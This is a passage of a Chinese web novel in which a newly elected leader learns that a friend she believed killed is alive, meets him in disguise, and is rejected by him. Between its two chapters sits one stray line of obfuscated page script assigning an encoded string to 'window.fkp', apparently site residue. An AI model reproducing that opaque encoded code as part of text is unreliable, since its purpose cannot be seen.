在日后的很长一段时间里,我把他当作一位忠实的朋友,用平时没有的几分刻意去善待他。他是个猪脑子,感应得到千里之外的目标,却感应不到我的那几分刻意。不过,我猜他能感受到那几分刻意里的温暖,因为他总会时不时地对我笑。那一段时间里,我能感觉到前所未有的快乐,还有一种说不出的舒心。也许是他的魔力强盛,又施展了什么法术罢。 可世事都不会一帆风顺,意外突然降临了。 在首脑竞选前的倒数第十天里,我们展开了最后一次行动。我由于要参加竞选的缘故,无法和他们一起行动,所以我就让珍妮·福客这个女特工领导行动。行动很顺利,很快就带走敌方的重要文件,还顺手押走了三个敌方重要人员、倒戈了对方击地的两个保安。不过任务在最后一环上出了意外。魏春冀本该和珍妮她们一起乘一批车回来的,结果不知怎么的,魏春冀竟然没坐上车,被敌人抓住了。 他一被抓,可就出了大事了。这个节骨眼上出这样的事,那简直是要我的命!若魏春冀被敌人使用什么方法给倒戈了,那对于我日后的首脑工作肯定是重大威胁。他是我决胜的第一功臣,也是决胜密匙,是决不能失去的。 当时我一听到这个消息,整个人差点吓晕了过去。我非常担心他的状况,害怕敌人会使用什么恶毒的招式来祸害他。于是我立即让大兵哥处理此事,还委任多位特工去救魏春冀回来。结果狡猾的敌人使诈,我们的营救计划竹篮打水一场空,魏春冀还是被敌人们转移走了。我不由得担心起他来。 我心想: “魏春冀,我的英雄,你可千万别出事啊!” 可在这个节骨眼上,我不能太因他而过多担忧,那会影响我的竞选。梦想和他之间做出抉择,我出于多方面考虑,最后选择了梦想。至于他,我只能期待大兵哥能带人将他救回,除此之外别无他法。希望他能安全归来,希望他能没事,希望敌人不要残害他......希望,希望着,时间就到了竞选日。 竞选日很顺利,我凭借高额的支持率稳固拿下该地区首脑之位。那一瞬间,我感受到了前所未有的激动、快乐,还有前所未有的荣誉感、成就感。我无法准确表述我当时的感觉,只觉得一切都变得美好,无限的希望环绕着我,将它们最大的能量给予我。那一刻,我感觉我登上云彩,步入天宫,成了一位仙人。可我那时不知道的是,在我回去开庆祝宴的时候,一个天大的意外正好发生。 庆祝宴上我许久不见的爸爸来了,带着我的妹妹和我的哥哥一起。一家人团聚,一家人恭贺成功。爸爸把我视作骄傲,这是他从小到大第一次认可我,我终于还是成了爸爸的骄傲。我的妹妹才华横溢,当即给我编了首好听的诗来赞颂我,听完她的诗我赞不绝口,当时就吻了下她的脸,作为姐姐对妹妹的认同。我的哥哥由于没啥才艺,就好好夸赞了我一番,然后不免尴尬的与聚会成员碰杯欢饮。 当我倒下第一杯香槟时,魏春冀的右眼被打入一颗子弹。当我与家人朋友共同享受这份成功时,魏春冀被人一脚踹入河中。当我成为众人眼中的焦点,在众目睽睽之下发表振奋人心的胜利感言时,大兵哥带派人四处寻找魏春冀。当我们在宴会上庆祝胜利果实,畅快地享受胜利带给我们的快乐的时候,大兵哥在郊外的某处仰望天空,偷偷地哭泣,猛男落泪。当庆祝宴结束,一切都回归平静的时候,可惜一切真的都安静下来了。 等到了深夜,我看着哲学有关的书籍,喝着一杯高档茶水,正享受着夜的安静。一边享受,我一边期待大兵哥把魏春冀带回来时我该怎么感谢他。我想请他去吃一顿好的,得补偿补偿他,谁叫他错过了这场宝贵的宴席呢。我又想给他买一把最顶配的吉他,让他能弹奏出更好听的曲子。我还想给他在我家附近买一套不错的房产,再给他配一辆好车,让他过得舒服又滋润。他这位功臣我可得好好对待! 就在我思索这些事的时候,大兵哥回来了。我立即放下书籍,披上大衣就迎了上去。我迫不及待想听到魏春冀的消息,我激动得都忘记装高冷了,带着笑脸就出了房间。等我见到大兵哥时,我发现大兵哥一脸颓废的样子,弯着腰还低着头,似乎是犯了什么大错。我看大兵哥这样,猜测魏春冀应该是受了重伤,大兵哥愧疚没保护好他,所以才在我面前这样。我走到大兵哥身前,有些许担心地问: “魏春冀,怎么样了?伤的轻不轻呀?” 大兵哥用一种奇怪的目光看着我,眼神里都是满满的愧意。一向说话直来直去的大兵哥竟然在此刻哑巴了,因为真相他不敢说出口,他一时没有接受。我又问了他一遍,他只是一脸难受的摇头,不说话。在我问了第三遍的时候,他才开口告诉我真相。他鼓起勇气,张口缓缓地说道: “魏春冀......他......” 颤抖的声音,绝望的眼神,我深深感受到了他心中的悲痛。一种不祥的预感冒上的我的心头,我不由得全身发颤,感到极度的害怕与担心。 “他......死......了......” 猛然一道雷电劈在我的心头,先前的一切欢乐瞬间消散,转而是无尽的悲痛席卷而来。我的心在那一刻碎掉了,一把无情的铁锤砸碎了我的心!又感觉,我的心里下起了一场暴雨,暴雨中我失去了雨伞、失去了方向,我感受着战栗的滋味,在雨中颤抖着哭泣。我分不清从我脸上流下的是雨还是泪。 “他在逃亡的最后时刻被敌人用火箭筒炸死,尸骸无法回收且不知去向。” 我眼前一黑,身体发软,一时间感觉整个世界天旋地转。若不是大兵哥搀扶住了我,我就直接一头栽倒在地板上了。我的意识迟迟没有缓过神来,可我的身体已经知晓这悲痛的结局,泪比那份那份痛苦先到。等我意识到这件事的时候,泪水早就纵横了我的脸颊。在我最后一丝理智还没崩溃之前,我问大兵哥: “他......是什么时候确认死亡的?” 大兵哥告诉我: “五个小时前。” 我最后的一丝理智崩溃了,崩溃得彻彻底底。五个小时之前,正好是我们庆祝胜利的时候。意识到这一点的我,崩溃大哭。负罪感爬上我的脊背,它压得我喘不过气来。我心想,若他的在天之灵知道他死在了我们庆祝胜利之时,会不会怪罪于我?若他的在天之灵知道我们没等他就举办了庆祝宴,会不会伤心难过?若他的在天之灵知道了我们胜利的事实,他会为我而感到高兴吗?我不知道答案,我也害怕着不敢去猜测答案。 我猜他一定会恨我吧,是我的失职导致了他的死亡!要是我能不吝惜那些钱,雇佣那些更强大的特工,也许他就不会死了吧。我真的非常后悔!非常自责!他是钱买不来的,让人去找也找不来的,他是天赐的礼物,赐给这个世界的礼物;他是人间的小天使,我身旁最善良的天使。愧疚几乎要撕裂了我的心,我感觉此刻犹如在深渊溺水,巨大的水压正撕裂我的身躯。我失去了他!我亏欠他太多!我答应他要带他去旅游、答应他会成为他的朋友、答应他会在胜利到来之后让他过上好生活......那些都无法实现了。我也是杀死天使的凶手,我难逃重罪! “魏春冀......魏春冀你回来,魏春冀,你回来!我不想失去你,你回来......魏春冀呀,你回来!回来好不好?我们说好了要做朋友的......说好了的呀!魏春冀,你回来......呜呜呜呜,你回来......” 我坐在地板上撕心裂肺地哭喊着。大兵哥俯下身来,在一旁静静地安慰我。失去了魏春冀,我感觉我的整个世界失去了两种颜色!一种是绿色,那是植物的颜色,是生机勃勃的颜色;一种是金色,那是黄金的颜色,是太阳在我心中的颜色。这两种颜色一消失,我的世界顿时变得冷淡与单调。 我不知那夜我哭了多久,也不知道哭过之后我该去做什么。我的世界失真了,我陷入到深深的迷茫之中。 时间一晃就过了三个月。那三个月里,我逐渐接受了他离开的事实。痛苦过后也该去面对生活。我如愿当上了重点地区的首脑,完成了我的梦想,让涅家达到了史无前例的高度。但我一直觉得,我缺少了一件很重要的东西,那件东西是我的定心针,没了它我总会觉得空虚。在我的管理之下,我脚下的土地向着阳光的方向发展,地区的生产水平迎来了质的飞跃。同时社会上的各类问题也在我的管理下被妥善处理,矛盾与冲突数量一下子就降低一位数。 一切都在向着光明的未来前进,可我的心却愈发空虚。原本梦想还可以填充住我的心,现在就连梦想也不可以了。我劝说自己忘了魏春冀,可越劝我越想他。他早已经成了我生活中不可或缺的一部分,他的离开让我的生活不再完整!我想他,想让他回到我身边、我想念过去那些有他在的快乐日子、我想念他在我身旁存在过的每一个日子。我恨不得造一扇打通生死的门,把魏春冀从天堂给拽回人间。 一个月后...... 这一天,我的父亲突然来到我家,还带来了我的哥哥和我的妹妹。我的父亲决定给我准备终身大事,让我们涅家与别的强手家庭联姻,好让我们涅家变得更加强大。现在的涅家是西柏木的第三大家族,我父亲让我与其他三大家族的人联姻,还特意为我弄来了他们这些富家子弟的资料。看到这些资料,我是一点也提不起兴趣来。目前能让我动心的人根本不存在!鬼倒有一个,那就是死去的魏春冀。我看过这些资料,委婉地拒绝了父亲。父亲问我为何,我说我的王子还没来临。父亲劝我把握住机会,让我别错过了这些单身的强手子弟,可我真的在他们身上一点也提不起兴趣。父亲看出了我的不愿,便问我自己的意愿如何。 我本想着去说出魏春冀这三个字,告诉父亲我真实的想法。可话到嘴边,我却怎么也说不出。从小我就在父亲的威严下长大,对父亲的话从来都是言听计从,一直以来我都是一个懂事的人。父亲的威严令我感觉到害怕,我不敢做出违背父亲意愿的事情。魏春冀已经是黄泉之中的人,我也没办法为他停留。我想伸出手触碰他,可我做不到,也没有机会。 我告诉父亲我需要时间考虑,父亲笑了,一如既往地用笑容夸我懂事。妹妹和哥哥也在一旁附和。妹妹笑了,哥哥的表情笑中带有些凝重,似乎哥哥能看出我心中的想法。我也笑了,可我真的没有感觉到开心。 我真的很想去做自己真正想做的事,可我多数情况没有任何选择的余地。我的手上压着命运、礼仪、荣誉、规则四只大手,只有在被认同的情况下我可以轻易做出选择。不被认同的选择是不允许存在的,是决不能触碰的,这是无形之中强加在我身上的规矩。 之后的半个月里,我尝试按父亲的心意寻找人生的另一半,暗暗希望爱情能弥补我心中的空缺。我一遍又一遍劝自己忘掉魏春冀,可他的身影挥之不去,就同一棵千年古树扎根在我的头脑;我顶多断掉它的茎干,可终究无法拔出它的根系。我忘不了他,他早就成了我世界的一部分。我想去拿出百分百的热情对待我想去追寻的爱情,可我的心被他抽走了一部分,我的热情丢失在茫茫大海之中。坚强的我在这样的状态之中我依然找到了一个让我满意的另一半。 他是西柏木第二大家族周家的长子周绍梁,一个人品还不错的帅小伙。周绍梁家财万贯、能文能武、才高八斗、琴棋书画样样精通,人格魅力也很高,追求他的人少说有几千人。我通过哥哥认识到了他,后来结缘,成了男女朋友。 讲真,那是我这辈子做过最错误的决定!我真的非常,非常后悔!当初我怎么就怎么傻呢?但凡在等个十几天,也许就没后面的那些麻烦了。 在我与周家少爷结缘后的第十五天,我带着他去见父亲,想讨父亲开心。我父亲暂住在一个五星级大酒店之中,我和他赶到那里时已经是上午。我挽着他的胳膊并排走上大酒店的台阶,大兵哥走在后面保护我们两人的安全。就在我们走到第十七个台阶的时候,我们身后传来了几声叫喊。我回头看去,看到我们集团的特工向着街的一边跑去,似乎在追击什么危险分子。我本以为就是特工们的每日任务,直到我看到街角地面上放着的一簇用粉色塑料纸包好的水仙花。我隐约意识到了什么,但我并未在意。我高冷地调侃有个可怜的小家伙表白被拒了,随即一笑便不再理会,很快这件事就遗忘在了我的脑中。 时间一晃又过了三个月...... 很可惜,我和周家公子因为性格不合分手了。这段关系只维续了三个多月,我们两人都在这七个多月里一无所获。这三个月的作用也只是暂时讨好了我的父亲。我并未在这段关系中收获我想要的爱情,我的内心仍然空虚着。 我感觉我的心中了心毒,我只能靠工作与兴趣爱好来缓解毒的蔓延。我的每一日就像在吃止疼药,药效过了就是痛苦难受的坏时光,我的快乐都被用在了抵消痛苦之上。我想做个记忆清除手术,可我又舍不得那些珍贵的记忆。最后实在没有办法,我买了奇点造物情感抑制器,并时刻佩戴。它极大程度消去了我的痛苦,但也夺去了我的快乐。自打我启动了它开始,我就再也没开心地笑过。 又是日升日落,一个朝暮飞速过去,一晃就过了半年。 半年后的一天,正在我处理集团事务的时候,一个特工被大兵哥护送到我面前。那个特工和大兵哥的表情都很惊喜,似乎是知道了什么值得高兴的大事。可惜我不能与他们产生通感,我的情绪已经不复存在很久了。那名特工说起话来很着急,一时我都没听清她到底在说些什么。直到她情绪缓和下来,才道出了一个惊人的消息。她告诉我: “老板!魏大哥还活着!” 我立即拔掉了情绪抑制器,重拾拥有自我情绪的感觉。那一刻,即便我的喜怒哀乐消失了许久,但我仍然感受到了极大的情绪冲击。欢悦、惊喜、激动......久违的情绪回到我的心中,一场盛大百花展在我的心中展开。时隔一年,阳光终于再次照进我心,空虚什么的都在太阳下焚烧殆尽,心毒被治愈了,我又好了。我欣喜若狂,迫不及待想要见到魏春冀。我吩咐手下的特工们,让他们务必要确认魏春冀的具体位置,并且要求他们温柔地把魏春冀护送回总部。特工们都与魏春冀或多或少有点感情,在接到任务后,他们二话不说就去执行,有的特工甚至连度假都不去了,直接折返回总部,发誓要接魏春冀回家。 这次,我要伸出手去触碰他!不,触摸他。我不会再失去你了,魏春冀。 我本以为魏春冀会心满意足地回来,结果却传来了特工被打伤的消息。问具体详情,魏春冀无情地拒绝着一切;他拒绝回到这座城市,他拒绝在与我们有任何接触,他拒绝了我的好意。魏春冀用一把灵魂刀锋,驱逐着前来接他回去的特工。有些冲动的特工硬要带他回去,就会被他用灵魂刀锋刺伤。行动屡次失败,魏春冀拒绝着一切。我不明白魏春冀为什么要这么做。他曾说要与我成为朋友,还曾用最大的善意去对待我,尽他所能让我感到开心快乐,如一位小天使。他曾说他喜欢我,还说希望能去爱我,可如今他却拒绝了我,不知为何。我派出大兵哥去执行这个任务,可大兵哥也不敌他,大兵哥也完不成这个任务。这着实惊呆了我。行动结束后我问大兵哥情况,大兵哥沮丧地告诉我: “魏春冀......他害怕我们,他讨厌我们,他憎恨我们!首脑大人,我们到底做了什么?” 这个答案重击我的心灵。我愣了一下,脑中飞快闪过无数画面。我陷入迷茫,一时间不知方向。原本与我们关系非常好的魏春冀竟然说恨我们,我猜这当中一定有误会。强烈的愧疚感占据我的心灵,我迫不得已又开启了情绪抑制器,开始思考解决方案。思考过后,我先是让特工们暗中监视魏春冀,后是让大兵哥调查当年魏春冀死亡的事,发誓要弄清楚真相。我一定要知道为什么魏春冀会恨我。 特工们收集了很多有关魏春冀现状的资料,包括但不限于住址、家庭关系、工作、医疗信息、银行债务等信息。我从资料及特工们的口述中得知: 魏春冀现在是一位平凡的出租车师傅,使用魏春云这个名字生活,现在老家景田镇上过着平凡又艰苦的生活。魏春冀的家庭资料上显示她的母亲在几个月前去世,医疗信息显示他曾带他母亲回过城市,但仅逗留三天又回去了,原因不知为何。银行账户信息显示,魏春冀的账户在七至八个月前莫名被封禁,内部存储的大量现金无法取出;目前魏春冀还欠银行2204.3通币,总欠款日期长达三年。移动监督系统显示,魏春冀曾不止一次回过城市,时间大多集中在十至十一个月前。 我看出资料中有非常多的疑点,似乎有人在故意针对他。我难想象魏春冀这段时间是怎么度过的。可为什么他不回来找我们呢?敏感的我感觉这其中有阴谋,有人在刻意拉远我和他之间的关系。 大兵哥这一调查就查出了很多疑点与问题。能证明魏春冀死亡的人只有汉姆·泰德一人,这人颇具嫌疑。汉姆在报告魏春冀死亡不久,就迎来了他的假期,假期里一向不怎么富裕的他竟去了高档度假村休假,这让他的嫌疑更重了。大兵哥二话不说就把汉姆从公司基地里带过来审讯,没想到大兵哥一问他就招了。他承认是自己杀了魏春冀,还承认自己是公司的叛徒。那一夜,他以去救魏春冀的名义在一座大桥上枪决了魏春冀。而且在枪决魏春冀之前,他特意捏造了一堆莫须有的事情,不仅污蔑我的形象,还刻意告诉魏春冀是我排汉姆来杀他的。可谓是手段残忍又杀人诛心!令人鄙夷呀! 知道真相后的大兵哥暴怒,差点就用义手刀砍下汉姆的头。我在大兵哥口中知道真相后,气得咬牙切齿、火冒三丈,恨不得让大兵哥宰了他。但我毕竟是慎重的人,尽管汉姆做得令人恼怒,但为了局势着想,暂且得先留着他,不能死无对证。汉姆这件事佐证了我的判断,的确有人要拉远我和魏春冀的关系,以此来达到什么特殊的目的。 现在我终于知道了为什么魏春冀会恨我们,原来是我无意间中了敌人的圈套,让他成了敌人计划中的可怜牺牲品。尽管我知道真相后心情舒畅了些,但那份罪孽感又爬上了我的脊背,仿佛在告诉我:这件事我也难逃诘责。我决定亲自与魏春冀见面,向他了解实情,并给予他一个迟到的道歉。 在一个假日,我将自己化妆成任何人都不认识的样子。我头戴黑色遮阳帽,面戴墨镜,身着一身褐色休闲装,又将头发梳成我从未梳过的发型,把自己包装成了他绝不会认出的样子。一切准备就绪后,我开车来到景田镇与城市接壤的交界地,将车停在一个隐蔽的角落,随后徒步走入景田镇中。我找人打听了一下,确认了魏春冀常路过的那条街。之后,我便来到那条街上,找个路灯杆在旁边一站,等待魏春冀出现。 等了好一会,魏春冀还没有来。我拒绝了七八个出租车,就是没看到魏春冀的影子。又等了一会,又一辆出租车过来,我急忙挥手拦下。等拦下后我惊喜地发现,那就是魏春冀开的出租车。我压制住心中的情绪,装作无事发生的样子,怕他识破我的伪装。他打开车窗,问我去哪里。我思考了一下,随便想了个地名告诉他。他点点头,用眼神示意我上车。 上车前,我好好观察了下他的样子。最先引得我注意的是他的右眼。他的右眼紧闭着,右眼周围有着诡异的黑色咒痕连接他的后颈,咒痕一路蔓延到他的后背。除了右眼与旁边的咒痕以外,他与先前一点变化都没有。见人就笑的习惯,温柔又富有魅力的眼神,优雅得体的举止,以及一身不沾世俗的好习惯。 上车后,我坐在车的后座,就是怕他认出我来。等车发动了,我才发现他的左手带着白色手套,看起来还有些问题。左手那种僵硬的动作,一看就是安装了义手且身体还未适应义手的样子。这看得我非常心疼,因为我知道那只手是他弹琴时的惯用手,也是他写字、敲键盘的惯用手。这只手若换成义手,那对于他将是一件多么悲伤的事啊! 坐上车后,他热情地和我聊起了天。这份热情也是那般熟悉,我在怀念之余多是种开心,时隔一年的聊天比我想象中还要帮上许多。我多希望我可以卸下伪装,直接向他表面身份,仿佛我们还可以像之前那样愉快地聊天。可现在不行了,我和他之间隔着猜疑的迷雾,我能看透,而他却看不透。聊了几句,他想到我随口说出的地名,便问我: “冒昧地问一下,这位小姐,你去万叶林干什么呢?你也要将你放不下的旧东西埋在哪里吗?” 我一时语塞,默默地点了点头。他坦然地一笑,说: “那你是要埋葬什么呢?” 我选择沉默。他笑了笑,温柔地说: “不好意思说吗?好吧,那就当它是个秘密,藏在心里好了。” 我的心有些难受,听他的话我愈发觉得对不起他。借着这个话题,我想知道关于他的一些事情,于是便问: “那你有在万叶林埋葬过东西吗?” 他思考了一下,回答我: “有啊。” “可以告诉我是什么吗?” “我埋葬了我的执念与梦想。” “执念与梦想?” “对。——我曾遇到过一个姑娘,她靠一种无形的魅力吸引到了我。那种感觉你知道吗?我的眼睛愿意为她而下雨,我的心则愿意给她撑伞,那种感觉是说不出的美妙,就像古语里的一见钟情。我对她是喜欢到不行,想追到她,成为她的爱人。可是呢,我与她的境遇天差地别,她在天上而我在地下,很难触碰得到。” “那你做出努力了吗?” “肯定做出了,不过可惜,最后是失败的。” “为何失败了呢?” “我付出的还不够,我做的努力太微薄。我曾听说弹吉他能引起女孩子的注意,我就每日去练,都快练到大师的级别。后来也的确吸引到了她,不过我没吸引到她的心,她只是抱着好奇而来,带着失望离开。在靠近她了之后,我尝试一改之前的无趣,变得有意思起来,就是幽默,幽默有很大魅力的。可是仅凭这些依然不足以碰到她,她的高度我难以企及。在一场意外中,我获得了一种特殊的能力,可那该死的能力却成了毁掉我一生的炸弹。” “为何这么说呢?” “正是因为这份能力,毁掉了我和她之间原本的纯真。她利用我,把我当做谋求地位的工具,靠我一步一步走上了她梦想中的高台,最后一脚把我踹掉!曾经承诺我那么多,到头来也只是谎言!我只是个局外人,局外人知道太多事会被弄死也是再平常不过的事。可悲的棋子、可悲的牺牲者!我最后迷失在了我的幻想之中,失去了一切。我后悔加入到那场权力的游戏,被人当武器用的感觉让我心碎!所幸她的计划失败了,我靠一些特殊方法捡回了一条命。” “那你恨她吗?” “恨!当然恨。不过我还欠她一句祝福,不过那句祝福我估摸一辈子也跟她说不上了。” “你想祝福她什么呢?” “祝福她能幸福。毕竟我和她还曾有个一段快乐的时光......我那时还是她梦想的助力者。” “那她都那样对你了,你为何还有祝福她呢?” “因为我们曾是朋友。这句祝福是我决定在她胜利时刻送给她的礼物。朋友之间的赠礼,总是这般质朴。” 我极力忍着心中的凄怆之情,不想在他面前哭出来,怕他认出我来。我感觉我深深伤害了他,伤他伤的很深很深。可他仍想着去祝福我,不计较那些,真如一位天使一般,他的善良令我感动,我不禁深感惭愧。 我问他: “若说这是你的执念,那梦想呢?” 他看了看自己的左手,我仿佛明白了。他坦然一笑,告诉我: “我的梦想其实是守护好我身旁的那些人们,用我这双手,给她们做出好吃的饭菜、给她们弹奏好听的乐曲、给她们创造快乐,也给我自己创造快乐。可惜呀,我把它埋了。” 我问他: “为何要埋葬你的梦想呢?” 他有些感伤地地了下头,随即抬起头来,露出阳光又让人心碎的笑容。他的眼中是无限的光明,是无尽的希望在他眼中起舞。他告诉我: “其实......我也不想埋葬它。唉......可实在没有再拥抱它的必要了。” 我问: “为何?” 他坦然地一笑,告诉我: “我爱的人都走了。只剩我自己了......” 我惊住了,一时之间说不出话来。我看着他脸上的笑容,鼻子一酸,泪就静静地淌了下来。究竟得是什么样的男人才能笑着这句话?他善良到甚至不愿露出悲伤的表情,怕自己会引发别人的通感,让别人也伤心罢。罪恶感爬上我的脊背,压得我的脊梁濒临破碎。他见我哭了,温柔地递来两张纸巾,诚恳地说: “非常抱歉,我的故事让你落泪了。快,赶紧擦擦眼泪吧,姑娘。别哭了,再哭可就不美了。” 我伸出颤抖的手接过纸巾,把头扭过去擦了擦脸上的泪,我怕他认出我。擦完眼泪,也正好到地方了。他按照打表上的计数向我收钱,可我还不愿下车,就找了个理由,让他送我回城里。他想委婉地拒绝我,又看我的样子有些于心不忍,咬咬牙决定冒着风险送我进城。 在路上,等我情绪缓和一些了,我便继续问他问题。我想知道他的想法,我比任何时候都迫切想要知道。我想了个特殊的问题,便问: “如果你要是再能与那位相见,你做想做的事是什么?” 他想了一下,告诉我: “与她告别。” 我追问: “那之后呢?” 他迷茫地告诉我: “我不知道......” 我又问: “那她向你道歉的话,你还会接受吗?” 他轻轻皱了下眉,突然转头看了我一眼,看了几眼后若有所思了一会,然后又转过头去。我紧张极了,担心他会识破我的伪装。但他接下来的话证明我多想了。他说: “我可以接受。但我不会再去找她。” 我说: “你这人也太好了吧!这样都能原谅对方。那你为什么不去找她呢?” 他告诉我: “她已经是别人的爱妻。” 我大吃一惊。看来,我后来找男朋友那事他知道了。我心一颤,懊悔似狂风,吹动我的心。我沉默了,他继续说: “我曾答应过她,在她已经有非我所爱的时候,我永远都不会去找她。我不想毁掉他人的婚姻,我不想把我的快乐建立在别人的痛苦之上。我只希望我每一个爱过的人能够幸福、快乐,而不是因为那些烦恼忧愁而心碎!正因如此,我才不希望我是那所谓的烦恼忧愁。她幸福就好......这是我唯一的愿望了。” 我感动至深,他远比我想得要正直、善良。我非常后悔我所做的那些行为,我伤害到了他!听完他的这些话,我的心都碎了。我到底做了些什么?我以为都是敌人的计划伤害了他,可我也是那加害者之一,而且我的加害远比我的敌人要厉害。我是在他心上插刀最多的人,而他还能抱有之前那颗善良的心,用那如冬夜之火的温暖来温暖我。我懊悔啊!我恨啊!恨我自己不珍惜他!恨我自己伤害了他! 我又落泪了。他再一次温柔地递来纸巾,动作之中没有一点不耐烦。我接过这两张纸巾,心中一阵说不出的酸楚。那两张纸巾沉甸甸的,洁白的纸面比金子都耀眼,我的泪滴落在纸巾上,如同滴落在一片白雪上。我在后座悄悄地哭了,他在一旁也不光顾着开车,还时不时安慰我几句,别让我太伤心。 一段温馨的时间过后,城市的影子出现我们眼中。忙碌的马路,繁华的街道,嘈杂的社区,林立的高楼......我们回到了城市,回到了我们相识的地方。他见了这番景象,高兴地对我说: “你看,这地方多热闹啊。车水马龙的,好一番繁华。” 我附和道: “对呀。这地方真热闹呢。我所有的朋友都是在这里认识的。” 他笑了笑,说: “哦?那你是都市人喽?” 我点了点头,说: “嗯。” 他摇头,说: “可惜我老家是村镇。和你这城里出来的大姑娘不一样呀。” 我微笑一下,告诉他: “不,人不分出身,都能成才成栋梁。” 他叹了口气,笑着说: “可惜呀,我终究还是不属于这城市。它是个让我伤心的地方,因为它拒绝了我,还送葬了我的青春与梦。” 即便是笑也掩盖不住他内心的无奈与沮丧,我能看出他其实舍不得这个地方,可又不得不离开。多希望当初我能及时带他回来,也许那样他就不会这般伤心。我能看穿他的那点小心思,他不是对这座城伤心,而是对这座城中居住着的我伤心。我伤害他伤害得很深,深到他都恨我。 我选了个偏僻的地方下车,那个地方往南走五十米就是我们故事开始的那座公园。在下车前,我最后问了他一个问题。 “你未来有何打算?” 他回答我: “等我还完买花欠下的钱,我就离开这里,去到一个没有人认识我的地方,开启我的新生活。” 我缓步下车,眼角残留着泪。下车后我用现金给他结了账,然后艰难地一步一步远离他。他这时正好拿出车内的水杯,站在车旁吹风的同时享受水杯内的茶水。我回头看了他一眼,隔着墨镜我看到了他饱含沧桑的眼与那眼中破碎的希望。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十话:雾中夫人(终) 书接上文...... 突然一阵风吹来,吹掉了我的帽子。帽子正好吹到了他那边,他就好心给我去捡。就是这么一捡,我上前一拿,他的眼神就发生了改变。我从他悬着的手中接过帽子,诚挚地感谢他道: “谢谢你。” 空气之中弥漫起了一种阴冷的邪气。他看我的眼神变了,变得饱含敌意,似乎我是他的敌人。我还没弄清楚状况,他就从心口里拔出一把锐利的灵魂刀锋,用这把刀指着我。我吓了一跳,愣在原地不敢动弹。他上前来一把摘掉我的墨镜,见到我模样的瞬间大惊失色。他急忙把墨镜给我戴了回去,然后后跳一大步到车旁,敌视着我,又用刀指着我,说: “涅琉妮雅!!!想不到竟然是你。” 见他认出我来,我也不再隐藏,直接扔掉墨镜与帽子,以自己的身份面对他。他用刀指着我,可我并未同他一样。我苦口婆心地劝他: “魏春冀,回来吧。我愿意答应你的一切要求,只要你肯回来!我们当中有许多误会,事情真的不是你想的那样的!” 他叹了口气,把水杯放回车内。随后他主动走到我的面前,对我伸出了手。我见他这样,以为他答应了我,就一下子握了上去。我给予他一抹温柔的笑,他也给予我一抹温柔的笑。我告诉他: “对不起!魏春冀。我错了,我不该那样伤害你,我应该好好对待你这位朋友的。是我不对,是我伤害了无辜的你。要是我可以想的再周全一些,你肯定就没事了!魏春冀,你是我的英雄,永远的英雄。” 他摇摇头,露出一抹坦然的微笑,眼神中满是说不出的感动。他握紧了我的手,似乎想表达些什么。他深情地对我说: “没关系,涅琉妮雅......” 我上前想给他一个拥抱,可他却用手将我推开。我不解他为何要这么做,直到我见到了他的表情。那是笑容,但却是忍着无尽悲痛的笑容。他笑着告诉我: “祝你幸福......” 他飞快地松开了我的手,我甚至都没反应过来。他笑着后退一步,这一步退出去我和他相隔千万里有余。他潇洒地转身离去,眼神中没一点不舍得。我的笑容瞬间消失,我的心摔在了地面上,摔得粉碎。我明白这句话是什么意思,更明白从他口中说出意味着什么。我的泪瞬间就飞落下来,这比知道他死亡还要让我伤心!明明他就在我眼前,明明他昨天还说着喜欢我,明明我们说好了要成为朋友,可他却不要我了,将我抛弃。我很难想到他究竟经历了什么才能让他说出这样绝情的话,他的伤痛远比我想得要深重! 我心想: “魏春冀,让我触碰你,这次我不会再放弃!让我触碰你,求你了,只是一下就好,一下就好......” 我上前伸手去挽留,他飞速拔出灵魂刀锋,一刀抽出,刀锋逼退我前进的步伐。他的刀锋能无视一切斩碎人的灵魂,杀人于无形。他一改之前的温柔,变得冷酷又吓人,还有点陌生。刀尖离我的脖子只有一指长,没斩出这一刀是他对我最后的温柔。他冷冷地对我说: “回去!涅琉妮雅。你的家人还在等着你,我不想毁掉你的生活。” 我流着泪告诉他: “不!你也是我的家人啊......你是我最好的朋友啊!” 他冷冷地一笑,说: “你是有家室的人,说话注意点。我可不是你的朋友,自重点姑娘。” 我哭着告诉他: “不是你想的那样的!我和他早就分手了。魏春冀,我心里最爱的人是你呀!” 他摇摇头,冷笑道: “涅琉妮雅,你就是个骗子!活生生的一个大骗子!你还真当我什么都不知道是吗?嗯?哈,你看你就像鳄鱼一样,一只肮脏的母鳄鱼!就像那个什么一样,那个词太脏说不出来。——请记住我的话,涅琉妮雅。我,魏春冀,再也不会相信你了!!!给我滚远点,你这坏女人!” 说完,他快步撤离,不给我解释的机会。他快速上车并启动车辆,之后油门踩到底,飞速驶离了我眼前,很快消失在茫茫都市之中。我看着他离去时的背影,我才知道悲痛欲绝是怎样的滋味。我本能地去追,可是我刚走出两步他就消失在我眼前。我霎时间泪如雨下,泪滴在我轻声的呢喃中落下。我的自尊心早就粉碎,我明白我被这世界最爱我的那个人抛弃了,那是我莫大的可悲!大兵哥正巧路过,见到我悲怆的样子就闻讯赶来。大兵哥问我是谁欺负了我,我告诉他我被这世上最爱我的男人抛弃了。大兵哥问我是谁,我告诉他是魏春冀。大兵哥一听,既高兴又有点生气,他问我魏春冀去哪里了,说要把他抓回来。我拦住了大兵哥,绝望地告诉他: “就让他走吧......他再也不会回来了。” 这世界上有一种绝望最令人恐惧,那就是错过之后的无可奈何。曾触手可得的事物突然间远离自己千里之外,无论怎样呼喊与追逐都再难得到,是自我毁掉了本该完美的结局。不是上天无情,是我没把握机会。 等我回到家的时候,我难过了一个通宵,一直到太阳升起在地平线,我彻夜未眠。我从未这么伤心过。那种感觉,不是他抛弃了我,而是我的整个世界抛弃了我,它将我弃置到令人窒息的虚空之中。那一夜我差点就溺死在泪水之中,我的精神也险些崩溃。就是我开了情感抑制器,那泪水还是止不住地往下淌,那是我的身体和我的灵魂一起在哭泣,抑制器只能抑制我的精神。 等我的情绪缓和过来、等我真正想清楚了每一件事、等我为随时可能到来的终末真正做好了准备,我放下我身上披着的各种荣誉,尽管那让我引以为傲;我决定用最真诚、最温柔、最纯洁的那一面去面对他,去面对这位因我而受伤的天使,魏春冀。 